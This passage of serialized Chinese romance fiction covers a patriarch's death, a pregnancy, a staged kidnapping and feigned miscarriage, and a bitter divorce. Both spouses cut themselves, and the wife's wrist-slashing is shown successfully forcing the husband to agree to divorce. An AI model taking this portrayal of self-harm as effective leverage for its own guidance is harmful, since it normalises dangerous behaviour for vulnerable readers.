他终是没如他所说,熬到第二年开春。
盛家老宅一片死气沉沉,中.南.海也来了人。
盛司令,盛夫人,盛熙川的各种堂叔,伯父,表姑,姑父,表兄弟姐妹等人,在房外黑压压站成一片。
“老爷子后半夜就不行了,就吊着一口气等熙川呢。”盛夫人说。
不知是真的还是装的,她眼圈很红。
盛熙川进去,过了几分钟后出来,对宋清殊说:“爷爷叫你。”
宋清殊没想到这里边还有自己的事,忙不迭进去了。
盛老爷子已经说不出话来了,吸着氧倒气。
一见宋清殊进来,他眼睛转了转。
“爷爷!”宋清殊坐下,伸手拉老爷子枯瘦如柴的手。
她想哭,盛老爷子却摇了摇头,手无力地抬了抬,似乎要替她擦眼泪。
他眼睛看向一边,他的代理律师赶忙拿了个文件过来给宋清殊看。
“这是老爷子名下的财产,平均分了4份,盛司令,大少爷,您,和您二位共同的子女,各一份。”律师说。
宋清殊看了一眼那个文件,那是一串天文数字。
这些钱,盛夫人没有,但她宋清殊有。
不过给她就相当于给盛熙川,说白了,老爷子是找个名目多给盛熙川留些钱罢了。
宋清殊说不出心里什么滋味。
“爷爷,这些钱我不要,我会都过户给熙川。”她说。
老爷子摇手。
“就是给您的,”律师又说,“老爷子留了几封信,信里写的清清楚楚,哪怕有一天您和大少爷……这个钱,依然是您自己的。”
律师没说“离婚”,可就是这个意思,宋清殊被戳到痛处,心口一疼。
老爷子早就在等这一天,因此准备充分,给他们都留了信。
盛家的人就是这样,祖孙三代脾气差不多。
老爷子眼里除了儿子孙子没别人,今年又加了个宋清殊。
人之将死,更加做自己,跟其他人客气都没客气一下。
财产分给这三人,信也只有他们三个有。
宋清殊突然明白了盛夫人的悲伤从何而来:为了嫁到盛家,她摘了个子宫,可这一家三代姓盛的男人,没有一个眼里有他。
分财产,孙媳妇都有一份,她这个儿媳妇什么都没有。
老爷子说不出话来了,可他就是这个意思,因为律师说的时候,他也在点头。
宋清殊攥着他的手,眼泪滚落个不停。
“别,别哭……”老爷子用唇语说。
宋清殊想起什么,赶忙胡乱擦了一把眼泪,拼命忍着再哭出声的冲动,从口袋里拿出自己的手机来。
她翻出自己的孕检报告给老爷子看。
“爷爷,您看。”宋清殊把手机凑过去,在老爷子眼前把那张报告单放大。
“我怀孕了,盛家后继有人了,等她出生了,我带着孩子去看您。”
老爷子眼睛里闪过一丝光,微微点了一下头。
他竟然就这样合上了眼。
“爷爷往生了!”宋清殊哭着大喊了一声。
一时间,众人冲了进来,哭作一团。
盛司令和盛熙川父子却没有眼泪,两人的眉头锁得死紧,神情痛苦地安排老爷子的身后事。
“晚上你和清殊陪我守夜。”盛司令说。
他们是孙子孙媳,按照上京的规矩,要连守三天。
原本没什么,可宋清殊刚才哭得太恸,已经有些不舒服了。
她这些天,情绪叠加再叠加,已经到了一个临界点上,宋清殊觉得,再不说,孩子很难保住了。
“爸,恐怕是不行,我怀孕了,刚才觉得不太舒服,好像动了胎气。”她说。
盛司令和盛熙川一齐看向她。
特别是盛熙川,他眼中是明显的惊愕之色。
盛司令先回过神来:“来人,快送少夫人去医院!”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!人算不如天算,宋清殊小心翼翼保守了三周的秘密,在这样一个场合下,人尽皆知。
她被火速送去医院安胎,在医院住下来。
盛家忙着给盛老爷子治丧,莫家陆家悬着一颗心等莫北丞,宋家很少跟宋清殊联系。
除了保姆和护工,竟然没人顾得上她。
倒是苏白和楼珏,在尽可能陪她。
盛熙川是第三天白天来的医院,他穿着黑衣,形容憔悴。
他进门的时候,楼珏在给宋清殊用土豆片敷手臂消肿。
看盛熙川进来,慌忙起身。
“你们聊。”楼珏安抚地看了宋清殊一眼,走了出去。
宋清殊看了盛熙川一眼,低头自己用右手给左臂缠保鲜膜。
盛熙川叹口气,在床边坐下来。
“我来。”他接过去,看着她肿得青紫的手臂皱眉,“怎么肿成这个样子?”
两人已经许久没有正常交流过了,如今已见面,宋清殊竟然有点不知道该说什么。
“输液多了就会这样,正常的。”她垂着眼说。
盛熙川替她把两条手臂都敷好,才问道:“什么时候发现的怀孕?”
宋清殊老老实实:“你出差的时候,想着回来给你个生日惊喜来着。”
谁知,他回来的第二天便发生了照片事件。
她又恰巧听到了他跟苏白说的那番话,就再也没机会说出来了。
盛熙川也想到了这一层,他的眉头皱得更紧。
宋清殊会错了意,忙说:“我咨询过医生了,最早孕九周以上可以做亲子鉴定,你别急。”
对一个什么都没做的人来说,自证就是耻辱。
可为了这个孩子,她不得不走这一步。
嘴上冷静,可心口疼得猝不及防,眼泪就这么流了出来。
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第134章 她要脱身
也许是受了孕激素的影响,但更多的是,多日来的委屈在心里叠加再叠加。
太多事介于说了矫情和不说憋屈之间,宋清殊委屈是因为她明明什么都没有做,却好像一个罪人。
她也没想到自己会哭起来一发不可收拾。
盛熙川在一旁,更是慌了神。
他站起来,想抱她又不敢,急的额上青筋暴起。
“我不是这个意思。”他说。
倒不是因为盛熙川多么明辨是非,而是他知道宋清殊是个多么保守矜持多人,哪怕出了照片事件,他也从未怀疑过她肉体出轨,那天跟苏白说的也是气话。
他介意的从来都是莫北丞在她心里。
可这些没区别,不信任就是不信任了,这时候说什么都像狡辩。
“老婆,我跟苏白说的都是气话,我从来没有怀疑过你会肉体出轨。”
宋清殊眼泪不停:“那你就是怀疑我精神出轨!”
盛熙川不敢狡辩:“都是我不好。”
他用指尖去擦她的眼角,被她扯了手臂甩开。
宋清殊这些天第一次这样情绪化地发泄,毫无保留。
原本两人还僵持不下,这些天都各自别扭着,走到了死胡同里。
她这一哭闹,倒是给了盛熙川一个台阶。
他环视四周,桌上有一把水果刀,是楼珏给宋清殊削土豆片敷手臂用的。
盛熙川拿了那把水果刀,塞进宋清殊手里。
“你别气,都是我不好,来,你扎我一刀,算我给你赔不是,好不好?”
宋清殊不接,只是掉眼泪。
盛熙川又没有哄女人的经验,他右手撩起左手袖子,竟然真的给了自己手臂一刀。
皮肉翻开来,血流如注,宋清殊的眼泪猛地收了回去。
“你发什么疯!”她失声尖叫起来。
走廊里的医护冲进来,手忙脚乱地给盛熙川消毒包扎。
但盛熙川跟不知道疼一样,眼睛都没眨一下。
他只是直直地看着宋清殊:“这样,你有没有觉得好一点。怀着孕跟我冷战的日子,很难受对不对。”
宋清殊从惊惧中许久才回过神来。
“这件事过去了就过去吧,我只想平平安安生下这个孩子。”她缓缓地说。
盛熙川终于敢过来抱紧她。
再后来的几天,是老爷子的葬礼,追悼会,盛熙川忙得脚不沾地,老宅和医院两边跑。
两人似乎又回到了最初的模样。
没几天,莫北丞也回来了,听说他受了点伤,一直没露面。
反正宋清殊也不想见他,便没有理会。
也是这时候,宋清殊才敢把怀孕的消息告诉陆夫人。
陆夫人来医院看她,心疼得不行,一直自责又后怕。
“我不该那么鲁莽,把你舅舅的事告诉你,万一你一着急,孩子有个三长两短……”陆夫人说。
可话又说回来,如果不让宋清殊知情,说不定现在莫北丞已经死在公海上了。
两人都想到了这一点。
“还是多亏了你,小宝。陆家给的心意,盛熙川也没要。但他能在这种情况下还出面救你舅舅,我们都承他的恩情。”
这一点,宋清殊也想到了。
别管盛熙川对她态度如何,但他救了莫北丞的命是事实,这至少说明一点,他本性不坏,也真的在乎她。
可他们的问题也是真的存在。
有时候宋清殊坐在病床上发呆,就会想起半年前她刚回国的时候。
那时候,盛熙川是个何其有趣的人,举重若轻,做事带着三分漫不经心的慵懒。
他那样松弛,什么事对他来说都是小事。
又怎么会需要用这样极端的方式哄人?
他们结婚不过半年时间,居然就这样把两人变得都不像自己了。
如今,老爷子去了,这段婚姻也遍体麟伤,宋清殊实在不知道坚持的意义是什么。
但不管怎么说,怀孕这件事给了两人一个缓冲,至少维持了表面的和平,不会再像原来那样僵持了。
她又在医院住了几天,各项指标没什么问题,才回了临江别墅。
两人都是话少的人,这件事过去就过去了,谁也没有翻旧账。
看得出来,盛熙川极力在学习如何做一个好父亲了。
他心情不好的时候抽烟最多,老爷子刚去世,正是他情绪低谷的时候,可他硬生生又开始戒烟。
临江别墅大得很,想不让宋清殊吸二手烟只需要换个楼层就好,可他把家里的烟都扔了。
盛老爷子是他最亲的人,如今离开了,最痛苦的也是他。
可他极力不在宋清殊面前表露任何伤感情绪,但有好几个晚上,宋清殊醒来,都看他站在阳台上发呆。
他的书房里开始有育儿书籍,大大小小的长命锁买了几十个。
宋清殊甚至偶然听到了他和助理的谈话,在选址建一个私人的儿童乐园。
这天两人去做孕检,宋清殊去里面做检查,要出来的时候听到他在走廊里问苏白话。
“如果她孕吐的话,我怎么解决?”
本小章还未完,请点击下一页继续阅读后面精彩内容!她陡然停住要开门的手。
苏白:“我替你问过妇科大夫了,没什么好的解决办法,得孕妇自己熬过去。”
盛熙川语气焦虑:“硬扛怎么行?她那么瘦,扛不住的。你们行不行,一群庸医!”
苏白:“……她不是还没开始吐?”
盛熙川:“孕五周就开始吐了,那时候再找你,不是晚了?”
她的心里突然生出了一点暖意。
盛熙川喜欢她的,不喜欢,也不会一次次因为莫北丞的存在破防。
可他们互相之间的这点喜欢撑得住一生的相守吗?
宋清殊一点信心都没有。
如今,盛老爷子也走了,她在这段婚姻里最后的顾忌也没有了。
老爷子留给宋清殊的那封信,洋洋洒洒都是感谢的话。
老爷子说,宋清殊的出现是一道光,不仅照亮了盛熙川的生活,也照亮了他,让他人生的末班车感受到了很多温暖。
他对宋清殊这个孙媳妇很满意。
宋清殊把那封信收好,告诉自己,按照回国前的规划,她其实已经做好了该做的事。
她的任务主线已经完成了,和盛熙川的感情,才是节外生枝。
这个少夫人,她真的做够了。
这次,不等坐以待毙,被动出局。
她要主动出击,做局脱身。
也就是这个时候,楼珏的私人侦探拿到了舒颜的秘密。
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第135章 怕夜长梦多
人怎么可以勇成这个样子?是宋清殊和楼珏聊完舒颜的秘密之后第一反应。
她们约在了一家私密性毕竟好的酒店喝下午茶,看私家侦探给的资料。
楼珏捋了一下关系说:“那她不光在照顾吐提的女儿,还在‘照顾’她的丈夫,还跟吐提的丈夫生了一个儿子,跟她姓。”
所以舒颜看霓娜姐妹比看盛熙川亲得多。
因为这对姐妹花是她最好的朋友和爱人的骨肉。而盛熙川姓盛,姓盛的人,哪怕有她一半的血液,都跟舒家仇深似海。
“她有想过动我的孩子吗?”宋清殊用勺子击打一块布丁,看着它晃来晃去,问得漫不经心。
“那还用问。”
楼珏说,之前她们去的那个医院,舒颜早就把主治医师收买了,对她的情况了如指掌。
只是宋清殊在公布了怀孕的消息后,又去了苏白的京华医院,让她没有可乘之机了而已。
“盛家也太复杂了,我突然觉得要找几个人暗中保护你才好。”楼珏说。
宋清殊用勺子切了一点布丁放进口中:“不要盯着我,盯着舒颜,她要做什么,满足她。”
楼珏错愕地瞪大了眼睛。
宋清殊分析过了,楼珏想让她流产,并没有那么容易。
毕竟她不是个无权无势的小白人儿,让医生开错药,保姆在饭里做手脚这种事,可能性不大。
更何况,京华医院是苏白的地盘,临江别墅的保姆又都是跟了盛熙川很多年的。
舒颜最有可能用的就是暴力手段。
找个人推她一把,在必经之路上放条疯狗扑过来之类的。
但宋清殊行事谨慎,并不毛躁,遇到这种事情会第一时间后撤自保,苏颜不好下手。
她们还在医院撞上过一次。
是宋清殊去复查孕酮指数,恰好撞见了一身病号服的舒颜被护工推着出门晒太阳。
她如今,需要住院的时候更多了。
舒颜看上去比之前更加干瘦憔悴,原本比同龄人看上去年轻十几岁的脸,此时却异常老态老态。
宋清殊在心里感叹了一下,她明显看到盛熙川微微蜷起的手指。
哪怕从来没有得到过母爱,看见自己母亲这样也不好受吧。
宋清殊面上没什么多余表情,她甚至浅笑着打了声招呼:“夫人。”
舒颜冷冷看她一眼,又看盛熙川:“你现在是彻底不理我了是吧?眼里还有没有我这个妈?”
盛熙川针锋相对:“你做的那些事儿,像当妈的会干得出来的?”
舒颜强词夺理:“我也是为你好,吐提对你有恩!”
盛熙川:“当时要不是你把人带进了老宅,我需要吐提替我挡枪吗?你用恩情绑架我的时候够多了!”
一段时间不见,没想到这对母子感情更加恶化了。
宋清殊在一旁看戏,之后,突然张嘴:“夫人,上次在医院跟你一起的,就是吐提阿姨的丈夫和儿子吗?”
她问得猝不及防,神情看上去尤其天真,以至于舒颜张了张嘴,竟然一时间没想到该怎么回答。
舒颜甚至自己都不记得宋清殊有没有看到米热了。
“是,恰好碰见了说两句话。”她说。
那个迟疑的反应,引起了盛熙川的关注。
“米热哪有儿子?”盛熙川问。
舒颜从来没跟自己的儿子心平气和聊过天,自然也没准备过他来问这些的时候该怎么回答,她又怔了一下。
“是我没说清楚,那个男人是吐提阿姨的丈夫,但儿子是夫人的干儿子。”宋清殊说。
舒颜对宋清殊怒目而视,她突然觉得宋清殊一定知道了什么,她就是故意的。
“你什么时候有了个干儿子?”盛熙川又问。
舒颜反应过来,又开始了平日里嚣张跋扈的模样:“我佛友的儿子,叫我干妈不行啊?那天我不舒服,我干儿子陪我去医院看看,正好遇到了你米热叔叔,不可以吗?”
盛熙川被她喊得莫名其妙:“问问而已,又没说不行。碰见米热有何不可?”
舒颜翻了个白眼。
“走了。”她催促护工。
关于宋清殊和盛熙川为什么去医院,愣是一句话没问。
她不敢问,米热和舒念安正憋着劲找机会对宋清殊动手,她不知道宋清殊怀孕的消息比较好。
不过宋清殊当着盛熙川的这番话,让舒颜也警惕了起来。
她们上次见面还是好几周前的事,她完全可以私下告诉盛熙川,却今天来当面问,不知道安的什么心。
舒颜想不明白,但她告诉舒念安和米热,要小心行事。
“她和盛熙川这阵子也总吵架,孩子未必保得住,说不定你们出手是多此一举呢。”她说。
米热和舒念安却只让她安心养病,别的不用多想。
他们急,宋清殊也急。
孕五周的时候她已经开始出现妊娠反应,时不时呕吐。
盛熙川提前做了很久的功课,特地让厨房准备了很多孕妇会喜欢且反应小的食材,变着花样给她做。
她在餐桌上吃到他亲手做的青菜粥的次数又变多了,有几样适口性好的小菜,也是他亲自下厨做的。
他为她亲自下厨的频率越来越高了,不仅是晚上,有时候中午还要回来一趟,就为了看她的饮食情况。
最离谱的是,有一晚上她有点失眠。
盛熙川伸手抱了她,问:“哪里不舒服吗?”
她随口说了一句之前不觉得,现在感觉床有点硬,第二天一早,他便让人用半挂车拉了上百张不同的床垫来给她试睡!
她甚至不知道盛熙川什么时候做的这件事,怎么在一夜之间联系到的上百个品牌。
看吧,他愿意对她好的时候,能把她宠上天。
可他不愿意的时候呢?她的纠结痛苦,也都来自他。
被人拿捏情绪的滋味,是真的不好受。
舒颜等人再不动手,宋清殊怕自己再次陷入糖衣炮弹的攻势里,不能自拔。
她怕夜长梦多,也怕自己后悔。
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第136章 我不爱你
机会都是留给有准备的人。
宋清殊这种负面的准备也算。
很快,私家侦探那边查到了一个消息:米热的私户取了100万现金出来。
他们已经准备要对她下手了。
宋清殊面上不动声色,私底下早就暗暗开始留意。
为了以防万一,她甚至让楼珏把苏白带出了上京,两人去巴厘岛度假。
“你自己可以吗?”楼珏问她。
“没什么大事。”宋清殊说。
又过了两天,盛熙川和宋清殊在外面吃饭。
突然,电话响了。
是舒颜的护工打来的:“夫人她住进了icu,这次恐怕不行了!”
宋清殊眼睛暗了暗,低头把一勺鱼子酱放进嘴里。
盛熙川脸上没有多余表情,却再也吃不下了。
“你去医院看看吧。”宋清殊说。
“好,一会儿让司机送你回家。”盛熙川起身,亲了她一下。
“不用,这里好打车,你那边不方便。让司机送你。”宋清殊说。
待盛熙川还要坚持,她干脆把他拉起来:“快去吧,看完夫人你也可以联系我,我要是还没吃完,你就接我回去。”
“好。那你注意。”
盛熙川走了。
舒颜也到了油尽灯枯的时候,随时会进ICU,但宋清殊知道,一切没那么简单。
她慢悠悠地把自己那份晚餐吃完,又让服务员刨了一些黑松露。
一顿饭吃了两个小时,才缓缓站起身来。
她知道,该来的已经来了。
宋清殊走出门去,一辆出租车停在餐厅门口。
“坐车吗?去哪儿?”里面一个戴黑色口罩的男人探出头来。
宋清殊神色镇定:“临江别墅。”
她在后排落座,接着,将手伸进外套口袋里,按了一下。
车子一路开得飞快,不是临江别墅的方向。
宋清殊给盛熙川发微信:“救我!”
看着后视镜里司机的脸,做出惊慌之色:“你是谁?要带我去哪儿?”
司机不做声,一路把车开得飞快。
车子开到城郊,左拐右拐,到了一处废弃的仓库。
司机停下,打开后车门,扯了宋清殊的头发,要将她拉下来。
此时,冲过来无数的黑影,是她追了一路的保镖,楼珏和陆夫人替她安排的人。
不对……宋清殊看了一下人数,明显是两拨人,应该还有盛熙川的。
原计划是,她的人把凶手打晕跟她一起绑在仓库里,等盛熙川来找,就说孩子没了。
可看这种情况,怕是不行。
宋清殊往那个司机的方向走了两步,对司机虚虚地伸了一下手。
“哎哟。”她惨叫了一声,跌坐在地上。
这一下收着力呢,更何况,那两波人忙着对打,根本没注意到是什么状况。
见宋清殊倒地,他们迅速收拾了司机,又看向宋清殊:“少夫人!”
宋清殊虚弱地捂着肚子躺在地上:“你们别打,都是自己人。”
宋清殊“晕倒”,被送到了最近的医院救治,那个司机自然束手就擒。
她悠然转醒,已经是第二天中午。
陆夫人红着眼圈守着她。
母女二人对视一眼,递了个眼色。
“干妈,我的孩子……”宋清殊坐起来喃喃地问。
陆夫人抱紧她:“小宝,你还年轻,以后还有机会。”
盛熙川进门时,正看到母女两人哭作一团。
一夜不见,他的胡茬都出来了,眼底一片青黑。
昨夜,是陆夫人先赶到的。盛熙川晚10分钟。
宋清殊已经利用这个时间差进了抢救室。
“我守着小宝,你赶紧去审那个司机,我怀疑他跟舒颜串通,故意要害你们的骨肉。”陆夫人说。
她向来很客气,对盛熙川这个态度是头一次。
盛熙川想在外面陪着宋清殊,又怕陆夫人觉得他就是想踢替舒颜开脱,只得急匆匆去了。
那个司机虽然是黑道上来的,但不禁打,也不禁吓,很快便招出了米热。
米热跟宋清殊没有任何交集,盛熙川自然第一时间想到了舒颜。
但司机矢口否认自己踹了宋清殊肚子。
“我都没碰到她!”他说。
盛熙川回来,看着哭作一团的母女,更是不疑有他。
在这一点上,宋清殊是受害者,有医学报告在,于情于理,盛熙川都不可能再让她检查一遍孩子是不是真的没了。
孩子才六周,着床不稳流掉很正常。
宋清殊这辈子的演技都用上了。
她想伤心事,想自己的委屈,想盛老爷子去世,竟然真的流出了泪来。
盛熙川在床边看着,心里疼得如刀割一样。
“别哭。”他想去抱她,可陆夫人挡在床边。
宋清殊哭了好一会儿,才停下来看他。
“我知道这件事是谁做的,因为我发现了一件事。”她红着眼把自己在医院看到舒颜三人的事具体跟盛熙川说了,告诉他那个叫舒念安的男人跟他有七分像。
在盛熙川思索间,扔出一个重磅炸弹:“盛熙川,我要离婚。”
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他说不出话来,脸上的血色褪的干干净净。
好一会儿,他才不顾陆夫人在场,坐到床边去抱她:“这件事,我一定会给你一个满意的交代。”
他声音放得很轻,带了点小心翼翼,“你想要什么补偿,我都可以给你。我们要过一辈子,还会有孩子的。”
宋清殊摇头,语气倒没有太大的波澜:“我们的婚姻没有继续的必要了。
当初我们两个结婚,不管你实际上怎么想,对我来说,就是靠嫁给你回国。你愿意娶我,肯定也是默认了的。
结婚的这半年多,我做你的老婆,爷爷的孙媳妇,也都还算合格。可我真的有很多委屈,我们两个之间有很多问题是磨合不了的。”
比如莫北丞。
盛熙川一颗心猛得沉入谷底,抱着她的手臂发僵:“我们的确有问题,可我对你的感情也是真的。而且,你也是爱我的,对不对?”
“有什么意义吗?”宋清殊硬着心肠道,“我原本根本就不认识你,哪怕到后来爱上你,也是不得不。我没有可选项,盛熙川。
只一个过去喜欢过莫北丞这件事都被你揪住不放,我如果作为盛家少夫人去爱别人,相信你会一枪崩了我。
我不爱你,现在只想离婚。”
盛熙川一时间青筋暴起,感觉全身的血液都冲到了头顶。
可他不能发脾气。
宋清殊刚失去了孩子,她才是最绝望的。
“老婆,这件事我一定会给你个合理的交代,但这个婚我不会离的。”他放开她,站起身来。
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第137章 宋清殊,你只能丧偶
盛熙川可以理解宋清殊的心情,可心口还是疼得厉害,他想发疯。
说完,他站起身出去了。
“你们照顾好太太。”他哑声对守在外面的保姆和护工说。
盛熙川往外走,高大的背影竟然带了几份沮丧和伶仃。
宋清殊沉默着看他出去,始终静静的。
一直等他走远,陆夫人才道:“他这阵子也够头疼,爷爷没了,亲妈也快没了,你又要离开他。”
“干妈,当断不断反受其乱。”宋清殊眼神一片坚决。
刚才说不爱,她的确是违心的。
可不说,她没办法给自己和他一个交代。
说了,也就断了。
少几分纠缠,很好。
宋清殊在医院住了两天,做了后续的“治疗保养”。
之后便回临江别墅去坐“小月子”了。
盛熙川加派了几个保姆照顾她,自己早出晚归。
他查出了舒念安的存在,并没有什么大感觉,只是把米热和舒念安父子,外加那个司机都送到了监狱。
把这些年他给米热的那些投资,也尽数收了回来。
霓娜姐妹不知道躲去了哪里,始终没敢露面。
盛熙川没得到过母爱,也不爱自己的母亲,舒颜多荒唐都不让他意外。
他只是心疼宋清殊和自己才六周大的孩子。
倒是盛司令怒不可遏,冲到了ICU里跟舒颜对峙。
他气得把氧气管都拔了。
舒颜倒不是装病,但也没死成。
住了几天又转回了普通病房,她自己主动要求放弃治疗回庙里,这次没人拦她。
宋清殊养了几天,看上去精神头好多了。
她又开始吵着要离婚。
盛熙川起初担心她的精神状况,每天回来看她,到后来看她态度这样坚决,竟然有点不敢回家了。
宋清殊不管,她这次格外理直气壮。
宋家人知道了,竟然派宋夫人跑来别墅劝她。
“夫妻两个过日子,总有磕磕绊绊。你这孩子没了,熙川跟你一样痛心,总不能因为这个要离婚。”
宋清殊冷冷的看着宋夫人:“我记得你说过一句话,哪个女人一辈子没有流过一两个孩子呀,是不是?”
宋夫人当初为了生儿子连堕三胎,也总有些歪理。
如今年纪大了,竟然有点磨不开面子。
“发生这样的事,谁也不愿意……”
宋清殊:“放心,我离婚了,相信盛家也不会把彩礼要回去。只不过我爸不能借着自己是盛熙川岳父耍威风了而已。”
宋夫人被说得脸上红一阵白一阵:“你怎么会这么想爸妈?我们又不是卖女儿。”
“是不是卖女儿你自己心里知道。”宋清殊冷笑,“我怀孕不关心我,一听说我要离婚赶紧过来了,知道的你是我亲妈,不知道的还以为是哪门子伥鬼!”
她对宋家人向来不假辞色,但这样骂到脸上是头一次。
气得宋夫人嘴唇直哆嗦,扬起手就要打她。
临江别墅的佣人可不是吃素的,一把将宋夫人扯住。
“宋夫人,我们太太不欢迎你,请回吧。”
宋夫人就这样被推了出去。
宋清殊只觉得痛快。
盛熙川不回来,她就去公司找,把离婚协议拍在他的桌子上。
“我不离婚,不管你想怎么做都可以,要我给咱们的孩子抵命都行,婚是不可能离的。”盛熙川干脆耍无赖。
到后来,盛世集团她也进不去了。
宋清殊打他的电话:“你不愿意见我,让我律师去跟你谈也是一样的。”
盛熙川暴躁地在办公室踱步:“我说了不离婚,谁跟我谈也不离。”
接着他听到了电话里摔东西的声音。
宋清殊在砸他的书房。
后来,管家把电话打过来,战战兢兢地说起宋清殊砸东西的事,试探着问他:“有一些贵重的藏品,我先收一收吗?”
盛熙川冷声道:“不收,让她砸。”
后来挂了电话,又把杨端和吴小爱叫过来。
“去买点贵的瓷器给太太,让她砸尽兴。”
此时,苏白也回来了,知道发生了这样大的事,惊讶地张大嘴巴。
“楼珏完全没告诉我,看来她也不知情。要是知情怕是一刻都玩不下去。”之后又问盛熙川,“你准备怎么办?”
“不离婚。”盛熙川说,“有本事让宋清殊来捅死我,她不想要丈夫可以丧偶。”
苏白一阵心惊胆战:“你已然疯了。”
他突然就没什么好劝的了。
见证了两人从不熟到甜得发腻,如今又这样不可收拾,苏白索性也摆烂了。
他没办法去劝宋清殊,也没办法替盛熙川找补。
有些事,的确是盛熙川自己不该有的心魔,比如宋清殊喜欢过莫北丞。
有些事,则是宋清殊占据着“盛少夫人”这个位置,无数前赴后继的竞争者施加的。
归根结底,这些事都很难改变,当局者不行,他这个外人更不行。
盛熙川一味回避,接了无数个律师函,也没有什么动作。
本小章还未完,请点击下一页继续阅读后面精彩内容!再后来,宋清殊的代理律师突然毁约了。
全上京的律所没有人敢接宋清殊的离婚官司,其中包括金杉的合作律所。
盛熙川拒绝沟通,宋清殊一说离婚,他就让她过来一枪崩了他。
态度无赖之极。
“你这个婚怕是离不成了。”楼珏和陆夫人都说。
宋清殊冷冷笑了笑:“只要想离,没有离不成的。”
她带了把匕首,又去找盛熙川。
前台不放行,她便打电话给他:“不是说我可以一枪崩了你吗?我现在来了。”
盛熙川亲自来接她。
看她只穿了一件薄薄的羊绒大衣,围巾都没有围,皱起眉头:“冷不冷?怎么穿这样。”
宋清殊神色淡淡的:“还好。”
他没看见枪,当然她也不会有。
看她神色又算冷静,竟然升起一点不该有的期待来。
这是气消了吗?
盛熙川将宋清殊让进办公室,倒了一杯热牛奶给她。
宋清殊捧着马克杯,喝了两口道:“我来谈离婚的事。”
盛熙川绷直了背:“不离婚,宋清殊,我说了,你只能丧偶。”
宋清殊点点头,从大衣口袋里掏了把匕首出来。
匕首刃上闪着冷茫。
“是这个意思吗?”她问。
盛熙川岿然不动:“对。你可以扎我的心脏,或者手腕。我保证没有人会报警。”
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第138章 离婚
宋清殊看着眼前的盛熙川,只觉得陌生。
平心而论,他是个很有魅力的人,他的家境,颜值,学识,手腕,哪一项拿出来都是王炸。
也正因如此,他看上去举重若轻,从来都是慵懒的闲散的,对世间一切漫不经心的模样。
可半年的婚姻生活,不止磋磨了她,让他也变得极端了不少,偏执的背后是不自信,也是不信任她。
想起上次他用水果刀扎自己手臂,宋清殊依然心有余悸。
结束这一切,或许会有阵痛,可到底对两人都好。
她把那把匕首拿在手里,盯着锋刃处,眼里竟然莫名闪过一抹兴奋的光。
就让她来结束这一切吧,不等被迫出局,先为自己谋一个重新开始。
“我不扎你,你死了,陆家和宋家谁都活不成。”宋清殊说。
盛熙川眼神温软:“你放心,没有人会追究。”
宋清殊摇头:“你知道,咱们两个的关系,从来没有对等过。”
一开始就是高攀,高攀的人注定吞一万根针。
盛熙川把声音放柔:“可我一直把你放得很高。宋清殊,我是真的爱你,我只是没学会怎么爱人,做错了事。”
他以为,自己将她放在心尖上,视若珍宝。
他们之所以会走到今天,只是他的占有欲和嫉妒心太强。
这件事怎么解决,盛熙川也不知道,可他知道,如果同意离婚,他就真正出了局,一点机会都没有了。
盛熙川的心口发麻。
宋清殊看着盛熙川,脸上甚至还带了三分笑意。
她突然站起身来,离盛熙川远了两步。
笑容愈发森冷:“如今,我已经不在乎你爱不爱我了,我只想离婚。如果你不同意,那我愿意用生命来换自由。”
那把匕首扎在了她的手腕上,她猛地闭了一下眼,用了蛮力。
鲜血顺着手腕滴滴答答落下来,宋清殊的卡其色大衣,白色针织裙,都被染上了血污。
盛熙川猛地冲过来,一把夺过匕首扔在一旁。
“救人!”他大喊了一声。
京华医院。
宋清殊冷眼看着医生替她敷麻药缝针,咬着唇一声未吭。
盛熙川坐在一旁,脸色跟她一样苍白。
他咬着后槽牙,依然在眸子里浮起一层水汽。
那样纤细的手腕竟然缝了五针,万幸,没有伤及动脉。
“人都有自保意识,我哪怕闭着眼,还是避开了动脉。”宋清殊笑着说,特地抬腕看了看伤口。
盛熙川嘴唇抖了抖,说不出话来。
宋清殊的眸子是一派冷静,她盯着他,再次缓缓开口:“盛熙川,除非你把我关起来,收起所有可能自残的工具,每天让人24小时盯着我,不然,我迟早有一天还会这么做。
夫妻一场,我们都给彼此留点体面,别闹得这么难看,好不好?”
盛熙川的一张脸已经由白转青。
“明天上午9点,来盛世集团找我办离婚手续。”他艰难开口。
接着,站起来,转身往外走。
一滴眼泪猝不及防,落在了他的衬衫领上。
盛熙川先走,宋清殊随后。
苏白一直站在医院走廊里看着两人,这次,他一句都没有劝。
护士在收拾刚才的医疗废弃,苏白走过去,拿了个密封袋出来。
“把那几块纱布给我。”他说。
纱布和药棉上都带着鲜血,被装在透明密封袋里。
宋清殊的孩子掉得蹊跷,虽然米热父子供认不讳,可苏白觉得一切没那么简单。
翌日上午。
宋清殊化了个淡妆,坐在了盛熙川的办公室里。
两人眼底都带着青黑色,神情却都客气又冷静。
那张协议,她已经签好了字,放在他的办公桌上。
盛熙川火速签了自己的名字,又盖了私章,递回给她。
宋清殊沉默片刻,开口道:“这半年承蒙照顾,你送我的东西,我都放在别墅了。彩礼在宋家,应该不好归还,但爷爷给的遗产,我出了一个自愿放弃,交还给你的声明……”
“我不要。”盛熙川打断她。
宋清殊不想纠缠,他爱要不要,反正她也不会动那笔钱。
“再见,盛熙川。”
她缓缓吸了口气,又挤出一个微笑来,对盛熙川道。
她往外走,脚步丝毫不迟疑。
“宋清殊。”盛熙川在身后叫住她。
宋清殊回头。
盛熙川一双眸子紧紧地盯着她。
他眼底一旁苍凉,有泪意。
“既然要走,就走得彻底一点。这辈子不要再见我的面,也不要叫我有任何期待。”
“好。”
宋清殊再次转身出去。
她一点点远去,脚步很轻,但没有迟疑,每一步都笃定。
盛熙川靠在办公椅上,紧紧闭上眼睛。
昨天宋清殊那把匕首,像是扎在了他的心口上。
他的心脏一阵剧痛,痛得他直不起身来。
她说,她不爱他,哪怕后来爱上他,也是因为没得选。
如今,她愿意以生命换自由。
换一个从他身边离开的自由。
盛熙川也知道他们的婚姻走入了死胡同,可他放不下,更不愿转身。
这个角度看,他爱的女人,比他更勇敢。
盛熙川两天没回临江别墅,再回去的时候,跟宋清殊有关的一切都不在了。
唯有他送她的那串粉钻手链和那颗蓝钻戒指,规规矩矩地躺在首饰盒里,让他知道这一切不是一场梦。
佣人打扫的很勤,主卧的四件套也换过,可不知怎么,盛熙川睡觉的时候,在枕边摸到一根长发。
细软的发质,却闪着绸缎般的光。
盛熙川把那根发丝绕在指尖,发了许久的呆,想起宋清殊,他的心又软又疼。
后来,他握着那根头发睡着了。
梦里是十岁的宋清殊坐在围栏上晃着一双细白的腿对他笑。
后来,她在他面前瞬间长大。
